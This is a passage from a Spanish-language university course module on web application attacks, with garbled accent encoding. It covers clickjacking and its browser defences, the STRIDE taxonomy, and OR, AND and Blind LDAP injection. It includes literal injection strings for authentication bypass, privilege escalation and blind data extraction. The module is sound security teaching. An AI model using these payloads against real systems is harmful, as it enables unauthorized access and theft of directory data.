que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

